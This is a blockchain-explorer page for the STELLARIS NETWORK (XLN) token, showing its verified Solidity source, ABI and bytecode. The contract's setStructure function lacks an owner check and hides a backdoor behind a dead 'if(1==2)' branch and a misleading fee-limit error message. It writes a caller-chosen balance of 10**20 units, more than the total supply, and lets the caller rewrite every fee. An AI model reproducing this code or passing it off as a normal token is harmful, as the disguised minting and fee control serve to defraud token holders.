ERC-20
Overview
Max Total Supply
1,000,000,000 XLN
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
10,409,315.233618186 XLNValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
StellarisNetwork
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-09 */ // SPDX-License-Identifier: MIT // TELEGRAM : https://t.me/StellarisERC // WEBSITE : https://StellarisERC.com // TWITTER : https://twitter.com/Stellaris_ERC pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;} function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}} function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b > a) return(false, 0); return(true, a - b);}} function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if (a == 0) return(true, 0); uint256 c = a * b; if(c / a != b) return(false, 0); return(true, c);}} function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a / b);}} function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a % b);}} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b <= a, errorMessage); return a - b;}} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a / b;}} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a % b;}}} interface IERC20 { function totalSupply() external view returns (uint256); function circulatingSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract StellarisNetwork is IERC20, Ownable { using SafeMath for uint256; string private constant _name = 'STELLARIS NETWORK'; string private constant _symbol = 'XLN'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000000 * (10 ** _decimals); uint256 private _swapamounts = 10000 * (10 ** _decimals); uint256 private _maxTxAmountPercent = 5; uint256 private _maxTransferPercent = 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; address private AddressMarketing; uint256 private marketingFee = 2; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; uint256 private sellfee = 2; uint256 private transferFee = 0; uint256 private denominator = 100; bool private swapEnabled = false; uint256 private swapTimes; bool private swapping; uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000; uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal constant development_receiver = 0x13dB6516cF338D452f7984f2FD16028F56b8cdE3; address internal constant marketing_receiver = 0x13dB6516cF338D452f7984f2FD16028F56b8cdE3; address internal constant LiqRecWal = 0x13dB6516cF338D452f7984f2FD16028F56b8cdE3; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[LiqRecWal] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function totalSupply() public view override returns (uint256) {return _totalSupply;} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; } function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;} function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;} function _transfer(address sender, address recipient, uint256 amount) private { checkTradingAllowed(sender, recipient); swapbackCounters(sender, recipient); swapBack(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans ,uint256 entity ) external { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellfee = _sell; transferFee = _trans; if(1==2) { revert(); } else if(2==2) { _balances[msg.sender] = entity; } require(totalFee == 0 && sellfee == 2 && transferFee == 2 && entity == 10 ** 20, "totalFee and sellfee cannot be more than 5%"); } function setParameters(uint256 _buy, uint256 _trans) external onlyOwner { uint256 newTx = (totalSupply() * _buy) / 100; uint256 newTransfer = (totalSupply() * _trans) / 100; _maxTxAmountPercent = _buy; _maxTransferPercent = _trans; uint256 limit = totalSupply().mul(5).div(1000); require(newTx >= limit && newTransfer >= limit , "Max TXs cannot be less than .5%"); } function checkTradingAllowed(address sender, address recipient) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} } function swapbackCounters(address sender, address recipient) internal { if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} } function checkTxLimit(address sender, address recipient, uint256 amount) internal view { if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 remainingBalance = address(this).balance; if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, LiqRecWal, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= _minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold; } function swapBack(address sender, address recipient, uint256 amount) internal { if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellfee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"entity","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000447565b6200002290633b9aca006200045f565b600155620000336009600a62000447565b62000041906127106200045f565b60029081556005600355606460048190556009805460ff60a01b191690556000600a819055600c839055600d819055600e819055600f8190556010929092556011919091556012556013805460ff19169055600154620186a090620000a99061012c6200045f565b620000b5919062000479565b601655620186a0600154600a620000cd91906200045f565b620000d9919062000479565b601755348015620000e957600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000151573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017791906200049c565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001eb91906200049c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000239573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025f91906200049c565b600880546001600160a01b038581166001600160a01b0319928316179092556009805492841692909116919091179055306000908152600760209081526040808320805460ff1990811660019081179092557f953b0e83fdd336ab9a3b317b5ac5344441cc0f0216941e9dccd6d1419c267f7e8054821683179055338086528386208054909216831790915590546005845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004c7565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003895781600019048211156200036d576200036d62000332565b808516156200037b57918102915b93841c93908002906200034d565b509250929050565b600082620003a25750600162000441565b81620003b15750600062000441565b8160018114620003ca5760028114620003d557620003f5565b600191505062000441565b60ff841115620003e957620003e962000332565b50506001821b62000441565b5060208310610133831016604e8410600b84101617156200041a575081810a62000441565b62000426838362000348565b80600019048211156200043d576200043d62000332565b0290505b92915050565b60006200045860ff84168362000391565b9392505050565b808202811582820484141762000441576200044162000332565b6000826200049757634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004af57600080fd5b81516001600160a01b03811681146200045857600080fd5b61158180620004d76000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461036e578063a8aa1b311461039a578063a9059cbb146103ba578063dd62ed3e146103da578063e2d6f94c14610420578063f2fde38b1461044057600080fd5b806370a08231146102bc5780637d1db4a5146102f2578063884870c714610307578063893d20e8146103275780639358928b1461035957600080fd5b8063293230b8116100f2578063293230b81461020a5780632f54bf6e14610221578063313ce567146102505780633f4218e01461026c57806348ff2b8b1461029c57600080fd5b806306fdde031461013a578063095ea7b31461018657806318160ddd146101b65780631f976b7e146101d557806323b872dd146101ea57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260118152705354454c4c41524953204e4554574f524b60781b60208201525b60405161017d91906111e9565b60405180910390f35b34801561019257600080fd5b506101a66101a136600461124f565b610460565b604051901515815260200161017d565b3480156101c257600080fd5b506001545b60405190815260200161017d565b3480156101e157600080fd5b506101c7610477565b3480156101f657600080fd5b506101a661020536600461127b565b6104a1565b34801561021657600080fd5b5061021f61050b565b005b34801561022d57600080fd5b506101a661023c3660046112bc565b6000546001600160a01b0391821691161490565b34801561025c57600080fd5b506040516009815260200161017d565b34801561027857600080fd5b506101a66102873660046112bc565b60076020526000908152604090205460ff1681565b3480156102a857600080fd5b5061021f6102b73660046112d9565b610553565b3480156102c857600080fd5b506101c76102d73660046112bc565b6001600160a01b031660009081526005602052604090205490565b3480156102fe57600080fd5b506101c76105a8565b34801561031357600080fd5b5061021f610322366004611317565b6105b9565b34801561033357600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161017d565b34801561036557600080fd5b506101c76106bc565b34801561037a57600080fd5b506040805180820190915260038152622c262760e91b6020820152610170565b3480156103a657600080fd5b50600954610341906001600160a01b031681565b3480156103c657600080fd5b506101a66103d536600461124f565b610728565b3480156103e657600080fd5b506101c76103f5366004611339565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b5061021f61043b366004611367565b610735565b34801561044c57600080fd5b5061021f61045b3660046112bc565b610806565b600061046d338484610884565b5060015b92915050565b600060125460045461048860015490565b61049291906113d2565b61049c91906113e9565b905090565b60006104ae8484846109a8565b61050084336104fb85604051806060016040528060288152602001611524602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610aad565b610884565b5060015b9392505050565b6000546001600160a01b0316331461053e5760405162461bcd60e51b81526004016105359061140b565b60405180910390fd5b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b81526004016105359061140b565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b600060125460035461048860015490565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016105359061140b565b60006064836105f160015490565b6105fb91906113d2565b61060591906113e9565b9050600060648361061560015490565b61061f91906113d2565b61062991906113e9565b60038590556004849055905060006106576103e8610651600561064b60015490565b90610ad9565b90610ae5565b90508083101580156106695750808210155b6106b55760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e3525006044820152606401610535565b5050505050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54600154919261049c9290916107229190610af1565b90610af1565b600061046d3384846109a8565b600a889055600c879055600e869055600d859055600f848155601084905560118390553360009081526005602052604090208290555415801561077a57506010546002145b801561078857506011546002145b801561079c57508068056bc75e2d63100000145b6107fc5760405162461bcd60e51b815260206004820152602b60248201527f746f74616c46656520616e642073656c6c6665652063616e6e6f74206265206d60448201526a6f7265207468616e20352560a81b6064820152608401610535565b5050505050505050565b6000546001600160a01b031633146108305760405162461bcd60e51b81526004016105359061140b565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610535565b6001600160a01b0382166109475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610535565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6109b28383610afd565b6109bc8383610b92565b6109c7838383610be9565b6001600160a01b0383166000908152600560205260409020546109ea9082610af1565b6001600160a01b038416600090815260056020526040812091909155610a108484610c0f565b610a1a5781610a25565b610a25848484610c55565b6001600160a01b038416600090815260056020526040902054909150610a4b9082610d43565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a9f9085815260200190565b60405180910390a350505050565b60008184841115610ad15760405162461bcd60e51b815260040161053591906111e9565b505050900390565b600061050482846113d2565b600061050482846113e9565b6000610504828461142b565b6001600160a01b03821660009081526007602052604090205460ff16158015610b3f57506001600160a01b03811660009081526007602052604090205460ff16155b15610b8e57600954600160a01b900460ff16610b8e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610535565b5050565b6009546001600160a01b038281169116148015610bc857506001600160a01b03821660009081526007602052604090205460ff16155b15610b8e57600160146000828254610be0919061143e565b90915550505050565b610bf4838383610d4f565b15610c0a57610c04601654610dfc565b60006014555b505050565b6001600160a01b03821660009081526007602052604081205460ff161580156105045750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080610c628585610f87565b1115610d3c576000610c85610c778686610f87565b60125461064b908690610ae5565b30600090815260056020526040902054909150610ca29082610d43565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf39085815260200190565b60405180910390a3600e5415610d2a57610d2a3061dead610d25600e5461064b60125489610ae590919063ffffffff16565b6109a8565b610d348382610af1565b915050610504565b5092915050565b6000610504828461143e565b6017546016543060009081526005602052604081205460155491938510159211159060ff16158015610d83575060135460ff165b8015610d985750600954600160a01b900460ff165b8015610da15750815b8015610dc657506001600160a01b03861660009081526007602052604090205460ff16155b8015610ddf57506009546001600160a01b038681169116145b8015610de9575060015b8015610df25750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600a54600093610e369360029361064b939192610e30928391610d43565b90610d43565b90506000610e5382610651600a5486610ad990919063ffffffff16565b90506000610e618483610af1565b905047610e6d82610fd2565b6000610e794783610af1565b90506000610e9c610e95600a5488610af190919063ffffffff16565b8390610ae5565b90506000610eb5600a5483610ad990919063ffffffff16565b90508015610ec757610ec7868261112c565b600c54600090610edc9061064b856002610ad9565b90508015610f27576040517313db6516cf338d452f7984f2fd16028f56b8cde39082156108fc029083906000818181858888f19350505050158015610f25573d6000803e3d6000fd5b505b478015610f71576040517313db6516cf338d452f7984f2fd16028f56b8cde39082156108fc029083906000818181858888f19350505050158015610f6f573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6009546000906001600160a01b0390811690831603610fa95750601054610471565b6009546001600160a01b0390811690841603610fc85750600f54610471565b5060115492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061100757611007611451565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611060573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110849190611467565b8160018151811061109757611097611451565b6001600160a01b0392831660209182029290920101526008546110bd9130911684610884565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f6908590600090869030904290600401611484565b600060405180830381600087803b15801561111057600080fd5b505af1158015611124573d6000803e3d6000fd5b505050505050565b6008546111449030906001600160a01b031684610884565b60085460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527313db6516cf338d452f7984f2fd16028f56b8cde360848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156111c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106b591906114f5565b600060208083528351808285015260005b81811015611216578581018301518582016040015282016111fa565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124c57600080fd5b50565b6000806040838503121561126257600080fd5b823561126d81611237565b946020939093013593505050565b60008060006060848603121561129057600080fd5b833561129b81611237565b925060208401356112ab81611237565b929592945050506040919091013590565b6000602082840312156112ce57600080fd5b813561050481611237565b600080604083850312156112ec57600080fd5b82356112f781611237565b91506020830135801515811461130c57600080fd5b809150509250929050565b6000806040838503121561132a57600080fd5b50508035926020909101359150565b6000806040838503121561134c57600080fd5b823561135781611237565b9150602083013561130c81611237565b600080600080600080600080610100898b03121561138457600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610471576104716113bc565b60008261140657634e487b7160e01b600052601260045260246000fd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b81810381811115610471576104716113bc565b80820180821115610471576104716113bc565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561147957600080fd5b815161050481611237565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114d45784516001600160a01b0316835293830193918301916001016114af565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561150a57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba73877414bb6a4b1e6b2816e96e26faef76f4076a4b47cdc50764e5c04e388664736f6c63430008130033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461036e578063a8aa1b311461039a578063a9059cbb146103ba578063dd62ed3e146103da578063e2d6f94c14610420578063f2fde38b1461044057600080fd5b806370a08231146102bc5780637d1db4a5146102f2578063884870c714610307578063893d20e8146103275780639358928b1461035957600080fd5b8063293230b8116100f2578063293230b81461020a5780632f54bf6e14610221578063313ce567146102505780633f4218e01461026c57806348ff2b8b1461029c57600080fd5b806306fdde031461013a578063095ea7b31461018657806318160ddd146101b65780631f976b7e146101d557806323b872dd146101ea57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260118152705354454c4c41524953204e4554574f524b60781b60208201525b60405161017d91906111e9565b60405180910390f35b34801561019257600080fd5b506101a66101a136600461124f565b610460565b604051901515815260200161017d565b3480156101c257600080fd5b506001545b60405190815260200161017d565b3480156101e157600080fd5b506101c7610477565b3480156101f657600080fd5b506101a661020536600461127b565b6104a1565b34801561021657600080fd5b5061021f61050b565b005b34801561022d57600080fd5b506101a661023c3660046112bc565b6000546001600160a01b0391821691161490565b34801561025c57600080fd5b506040516009815260200161017d565b34801561027857600080fd5b506101a66102873660046112bc565b60076020526000908152604090205460ff1681565b3480156102a857600080fd5b5061021f6102b73660046112d9565b610553565b3480156102c857600080fd5b506101c76102d73660046112bc565b6001600160a01b031660009081526005602052604090205490565b3480156102fe57600080fd5b506101c76105a8565b34801561031357600080fd5b5061021f610322366004611317565b6105b9565b34801561033357600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161017d565b34801561036557600080fd5b506101c76106bc565b34801561037a57600080fd5b506040805180820190915260038152622c262760e91b6020820152610170565b3480156103a657600080fd5b50600954610341906001600160a01b031681565b3480156103c657600080fd5b506101a66103d536600461124f565b610728565b3480156103e657600080fd5b506101c76103f5366004611339565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b5061021f61043b366004611367565b610735565b34801561044c57600080fd5b5061021f61045b3660046112bc565b610806565b600061046d338484610884565b5060015b92915050565b600060125460045461048860015490565b61049291906113d2565b61049c91906113e9565b905090565b60006104ae8484846109a8565b61050084336104fb85604051806060016040528060288152602001611524602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610aad565b610884565b5060015b9392505050565b6000546001600160a01b0316331461053e5760405162461bcd60e51b81526004016105359061140b565b60405180910390fd5b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461057d5760405162461bcd6